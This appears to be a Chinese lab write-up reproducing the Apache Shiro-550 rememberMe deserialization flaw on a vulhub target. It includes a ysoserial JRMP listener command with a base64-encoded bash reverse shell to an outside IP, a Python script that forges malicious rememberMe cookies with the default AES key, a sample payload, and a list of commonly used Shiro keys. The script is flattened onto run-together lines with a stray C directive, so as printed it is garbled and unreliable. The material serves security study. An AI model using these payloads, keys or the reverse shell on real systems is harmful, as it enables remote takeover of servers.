目录
Shiro简介
复现流程
工具一把梭
半脚本半手动
原理分析
反序列化入口
常见的key
登录过程
验证过程
利用原理
Shiro简介
Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单直观,同时提供了全面的安全功能,能够帮助开发者轻松地添加安全性到他们的应用程序中。
主要特点包括:
-
认证(Authentication):Shiro 提供了灵活且易于使用的认证机制,支持多种认证方式,包括基于用户名密码的认证、LDAP 认证、OAuth 认证等。
-
授权(Authorization):Shiro 支持基于角色和权限的访问控制,可以定义细粒度的权限控制策略,保护应用程序中的资源。
-
会话管理(Session Management):Shiro 管理用户会话,支持本地会话存储、集群环境下的分布式会话管理,并提供了会话超时、定时清理等功能。
-
加密(Cryptography):Shiro 提供了常用的加密算法和工具类,用于处理密码加密、数据加密等安全需求。
-
Web 支持:Shiro 提供了与 Web 框架集成的支持,可以很方便地在 Web 应用中使用 Shiro 进行安全控制。
复现流程
工具一把梭
启动vulhub靶场
先爆破密钥(shiro550的key是固定的硬编码)
再探测利用链
最后直接拿到shell命令执行
半脚本半手动
启动vulhub靶场
Runtime.exec Payload Generater | AresX's Blog
先用这个网站生成给ysoserial用的payload
用ysoserial启动一个JRMP服务器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"
用这个脚本跑恶意cookie的payload(作用是连接到ysoserial启动的服务器)
#define PY_SSIZE_T_CLEAN
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):# 打开JRMP客户端,连接到特定端口popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)# 用获取到的key AES加密BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")# 生成随机16位长度的IViv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())# base64编码base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
python shiro.py 124.222.136.33:8888
生成的payload:
rememberMe=+XdqwyPART24Wzqx6uxQb+ITZbqHNJDvYx8kyu7dAAlwMgUX5dqy3ajClFgQnOkw/vXv+9+Rohr1fGqnMp0032QNU9gIUPLr3tr+RQf0g1wq43QtV2tIlU8EHyjlEZmv1vXygubJJxaehwwKV9hNY4a/ILKzHTBN8elVvS3wnN58fKieJHGHItEZlfPqvXbvZYtr5mZvw5Bqg9yoGdy+l6i4XjtBZwqqGgJ2Ea3Dmsm1Iy63RUwOagGlK+BkE1kfufF3i+Jk/Xkz3nlTWfT5Pc0eRdjpudTQ2X+DCJhBuVnwXPYUVX6UmMmRIU+UBAHvZyFL/N8L1Ibrb5KfTybgwTtTbv3215WxvUroQmACFNJFC3aDR1ep4aPrZ0TA+9NvOCjV2dJ22Tcrdzo34Yv3Hg==
最后在靶机登录时勾选rememberme(不要求能登录成功,只要让cookie反序列化就行)
bp抓包改cookie
监听下1337端口,成功反弹shell
原理分析
反序列化入口
remember me
序列化 -> AES加密 -> Base64编码 -> 写入Cookie
身份认证:
Cookie值 ->Base64解码 -> AES解密 -> 反序列化
常见的key
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
登录过程
验证过程
利用原理
1、先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
2、把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
3、漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器
4、JRMP服务器继续发送恶意payload1,利用CC等通用库的漏洞执行命令